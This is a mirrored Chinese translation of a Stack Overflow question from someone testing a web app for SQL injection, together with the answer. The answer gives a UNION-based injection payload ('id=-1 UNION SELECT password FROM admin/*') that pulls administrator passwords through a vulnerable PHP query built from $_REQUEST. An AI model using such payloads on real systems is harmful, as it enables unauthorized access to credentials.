gpt4 book ai didi

mysql - 覆盖 WHERE 子句中的列值?

转载 作者:行者123 更新时间:2023-12-01 00:53:30 25 4
gpt4 key购买 nike

我想知道是否可以覆盖 SQL 查询(在我的例子中是 MySQL)的 Where 子句中的列值。

为了更清楚,这里有一个例子:

假设一个基本查询是:

SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";

是否可以强制 lastnamefirstname 从另一个表返回值,只需修改 WHERE 部分之后的内容?有点像

SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);

我目前正在测试一个 Web 应用程序,我发现了一个 SQL 注入(inject)漏洞,我可以在其中将 Doe 更改为我想要的任何内容,但我只能使用一个查询 ( mysql_query restriction of PHP) 和addslashes(所以没有 "和 ')。

最佳答案

可能是

SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --

其中 {0} 个不存在的值和来自其他表的 {1} 个数据

来自 wiki 示例的更新

$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");

成为

SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')

关于mysql - 覆盖 WHERE 子句中的列值?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13238850/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com